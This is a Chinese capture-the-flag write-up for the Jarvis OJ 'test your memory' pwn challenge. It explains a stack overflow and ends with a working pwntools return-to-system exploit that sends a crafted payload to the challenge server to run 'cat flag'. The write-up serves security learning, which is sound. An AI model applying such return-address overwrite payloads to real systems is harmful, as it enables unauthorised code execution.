Jarvis OJ-pwn test your memory

↘锁芯ラ 提交于 2020-02-06 22:10:22

pwn test your memory

  1. 运行一下
    在这里插入图片描述
  2. 检查保护机制
    在这里插入图片描述
    只开启堆栈不可执行保护。
  3. 观察反汇编代码,main函数里随机产生一串字符串,然后调用mem_test进行检测。
    在这里插入图片描述
  4. mem_test函数,先打印一个地址(hint),再输入s,这里存在栈溢出漏洞,然后输入的s与随机产生的字符串比较。
    在这里插入图片描述
  5. 点进hint,提示是cat flag命令,可以获得flag
    在这里插入图片描述
  6. 程序中已有system函数。
    在这里插入图片描述
  7. 利用栈溢出,有system函数和cat flag地址,调用system函数,令其参数为cat flag地址,构造利用脚本如下:
from pwn import *
r = remote("pwn2.jarvisoj.com",9876)
sys_addr = 0x8048440
cat_flag = 0x80487e0
payload = 'a'*0x13+'bbbb'+p32(sys_addr)+p32(0x08048677)+p32(cat_flag)
r.sendline(payload)
r.interactive()
标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!